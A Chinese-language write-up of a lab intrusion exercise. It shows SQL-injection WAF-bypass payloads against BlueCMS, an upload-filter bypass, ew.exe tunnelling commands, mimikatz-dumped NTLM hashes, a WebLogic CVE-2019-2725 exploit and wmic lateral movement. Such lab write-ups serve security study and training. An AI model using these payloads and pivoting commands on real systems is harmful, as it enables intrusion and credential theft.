实战|记一次内网靶机渗透测试

VSole2021-07-29 12:26:03

靶机环境-魔改的红日6,修改了bluecms源码;

外网Web:192.168.140.131/192.168.111.128
内网Web:192.168.111.80/10.10.10.80
DC:10.10.10.10


0x01 外网web


首先来到外网web:

可以看到开放了80访问看看

可以看到是bluecms 1.6。这个cms很多漏洞,网上下载一套看看。


1.1 代码审计

全文搜索下$_GET

来到ad_js.php

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
    echo 'Error!';
    exit();
}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
if($ad['time_set'] == 0)
{
    $ad_content = $ad['content'];
}
else
{
    if($ad['end_time'] < time())
    {
        $ad_content = $ad['exp_content'];
    }
    else
    {
        $ad_content = $ad['content'];
    }
}

可以看到如果ad_id不为空就删除两边的空白符号,否则输出Error,然后就会执行getone方法,跟踪下getone。

    function getone($sql, $type=MYSQL_ASSOC){
        $query = $this->query($sql,$this->linkid);
        $row = mysql_fetch_array($query, $type);
        return $row;
    }

可以看到没有做任何过滤,直接带入了执行了sql语句。

http://192.168.140.131/ad_js.php?ad_id=1 and 1=1

可以看到存在waf。


1.2 waf绕过

fuzz下加上/"%!* 来干扰。 绕过order by

ad_js.php?ad_id=1/%//order////by////8

http://192.168.140.131/ad_js.php?ad_id=1/*%%2f*/order/*%2f%2f*/by/*%2f%2f*/8

ad_js.php?ad_id=1/%//order////by////7

绕过union select

ad_js.php?ad_id=-1/*%/*/union/*//*/select/*//*/1,2,3,4,5,6,7

全部被拦截,加上/!50001/再来跑

/ad_js.php?ad_id=-1/*%/*/union/*//*//*!50448select*//*//*/1,2,3,4,5,6,7

返回包:

HTTP/1.1 200 OK
Date: Sun, 25 Jul 2021 10:29:14 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
Set-Cookie: BLUE[user_id]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Set-Cookie: BLUE[user_name]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Set-Cookie: BLUE[user_pwd]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Content-Length: 33
Connection: close
Content-Type: text/html;charset=gb2312

获取当前表:正常语句:

union select 1,2,3,4,5,6,group_concat(table_name), from information_schema.tables where table_schema=database()

套用上面的被拦截,逐条测试哪里被拦截了


发现只要不存在database()就不会被拦截

同理fuzz括号里面就行 bypass payload:

/ad_js.php?ad_id=-1/*%/*/union/*//*//*!50448select*//*//*/1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database(/*%!"/*/

返回包:

HTTP/1.1 200 OK
Date: Sun, 25 Jul 2021 10:37:08 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
Set-Cookie: BLUE[user_id]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Set-Cookie: BLUE[user_name]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Set-Cookie: BLUE[user_pwd]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Content-Length: 401
Connection: close
Content-Type: text/html;charset=gb2312

可以看到存在blue_admin表,查看该表存在的字段

正常语句:

union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name='blue_admin'

单引号过滤hex编码下


bypass payload:

/ad_js.php?ad_id=-1/*%/*/union/*//*//*!50448select*//*//*/1,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626C75655F61646D696E

返回包:

HTTP/1.1 200 OK
Date: Sun, 25 Jul 2021 11:03:52 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
Set-Cookie: BLUE[user_id]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Set-Cookie: BLUE[user_name]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Set-Cookie: BLUE[user_pwd]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Content-Length: 108
Connection: close
Content-Type: text/html;charset=gb2312

存在admin_name,pwd


获取账密正常语句套同样的过滤语句:blue_admin:

/ad_js.php?ad_id=-1/*%/*/union/*//*//*!50448select*//*//*/1,2,3,4,5,6,group_concat(admin_name)%20from%20blue_admin

返回包:

HTTP/1.1 200 OK
Date: Sun, 25 Jul 2021 11:08:14 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
Set-Cookie: BLUE[user_id]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Set-Cookie: BLUE[user_name]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Set-Cookie: BLUE[user_pwd]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Content-Length: 37
Connection: close
Content-Type: text/html;charset=gb2312

pwd:

/ad_js.php?ad_id=-1/*%/*/union/*//*//*!50448select*//*//*/1,2,3,4,5,6,group_concat(pwd)%20from%20blue_admin

返回包:

HTTP/1.1 200 OK
Date: Sun, 25 Jul 2021 11:09:17 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
Set-Cookie: BLUE[user_id]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Set-Cookie: BLUE[user_name]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Set-Cookie: BLUE[user_pwd]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; HttpOnly
Content-Length: 64
Connection: close
Content-Type: text/html;charset=gb2312

获得账密:admin/test123


1.3 后台getshell

这里尝试了文件包含发现不行,发现robots.txt下存在test目录的upload.html文件

直接被拦截了

这里我们可以修改

Content-Disposition: form-data; name="file"; filename="t.php"

Content-Disposition: form-data; name="file"; filename=; filename="t.php"

来绕过

0x02 内网渗透

可以看到权限还是挺高的。存在111段

上传ew到web靶机

执行

ew.exe -s ssocksd -l 1266


添加用户上去,mimikatz抓密码

aspnet    161cff084477fe596a5db81874498a24(1qaz@WSX)
itsec        852a844adfce18f66009b4f14e0a98de(test123..)
Administrator    852a844adfce18f66009b4f14e0a98de(test123..)

c段发现存在80


存在administrator用户明文看看能不能直接ipc

密码不对。开放了80和7001

80没啥东西7001为weblogic

存在CVE-2019-2725

拿下内网weblogic

可以看到存在域de1ay.com,拿到了本地管理员权限。

存在10.10.10段

抓下密码:

* Username : de1ay
* Domain   : WEB
* NTLM     : cb5141dcdaa451b0972f3144fda5b3cd
* SHA1     : c25aadf268b15742f54e1ca78d54b1da417d5f8d
* Password : 1qaz@WSX1qaz@WSX
User : Administrator
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0(可能没启用)

设置多层代理 attack ip:192.168.140.1 web:192.168.140.131/192.168.111.128 weblogic:192.168.111.80/10.10.10.80

上传ew到weblogic机器上执行监听本地8888端口:

ew.exe -s ssocksd -l 8888

在攻击机器上执行,把本地端口1080跟web的9999端口绑定:

ew.exe -s lcx_tran -l 1080 -f 192.168.140.131 -g 9999

在web机器上将本地的9999跟weblogic的8888绑定:

ew.exe -s lcx_tran -l 9999 -f 192.168.111.80 -g 8888

发现存在10机器。

用现有的密码加上域用户尝试爆破

user:

de1ay\administrator
de1ay\de1ay

pass:

1qaz@WSX
test123..
1qaz@WSX1qaz@WSX


1.runas获取域用户cmd:

runas /user:de1ay\administrator cmd

wmi横向移动:

wmic /node:10.10.10.10 /user:de1ay\administrator /password:1qaz@WSX1qaz@WSX process call create "cmd /c ipconfig > c:\1.txt"



渗透测试gmt
本作品采用《CC 协议》,转载必须注明作者和本文链接
实战绕过WAF,进入内网,靶机渗透
渗透技巧总结
2022-01-28 21:33:52
声明以下技巧不应用于非法用途Tips 1. 手动端口探测nmap的-sV可以探测出服务版本,但有些情况下必须手动探测去验证使用Wireshark获取响应包未免大材小用,可通过nc简单判断eg.对于8001端口,nc连接上去,随便输入一个字符串,
近年来,网络空间安全一直是经济社会关注的焦点,2022年网络信息安全更是成为315晚会关注重点。密码为保护信息安全而生,是网络安全的核心要件,是数字经济基础支撑。下面,我们就来介绍一下日常工作生活中融入的商用密码应用及其安全性评估。 一、什么是商用密码,为什么要使用商用密码? 密码分为核心密码、普通密码和商用密码,我们日常工作生活中接触到的多是商用密码。工作中,网上办公、缴税纳税等过程都有商用
等保三级信息系统指信息系统受到破坏后,会对社会秩序和公共 利益造成严重损害,或者对国家安全造成损害的信息系统。
2022年1月,国务院印发《“十四五”数字经济发展规划》(以下简称“规划”),明确了“十四五”时期推动数字经济健康发展的指导思想、基本原则、发展目标、重点任务和保障措施。规划指出,数字经济是继农业经济、工业经济之后的主要经济形态,是以数据资源为关键要素,以现代信息网络为主要载体,以信息通信技术融合应用、全要素数字化转型为重要推动力,促进公平与效率更加统一的新经济形态。
中国蚁剑使用Electron构建客户端软件,Electron实现上用的是Node.js,并且Node.js能执行系统命令,故可以利用蚁剑的webshell页面嵌入js来直接执行命令,进而钓鱼来上线CS。(类似Goby,Goby也是使用Electron构建客户端软件)
由于测试过程中很多系统我们能接触到的只有一个登陆界面,所以要充分挖掘漏洞,进行深入操作登录 注册万能密码绕过登录存在 SQL 注入的情况下,有可能使用万能密码直接登录admin' or '1'='1'--. 有超级多登录口 SQL 注入存在 SQL 注入的话直接注出账密有些可以构造用户注入登录,比如熊海 cms 后台登录处存在 sql 注入$login=$_POST['login'];
VSole
网络安全专家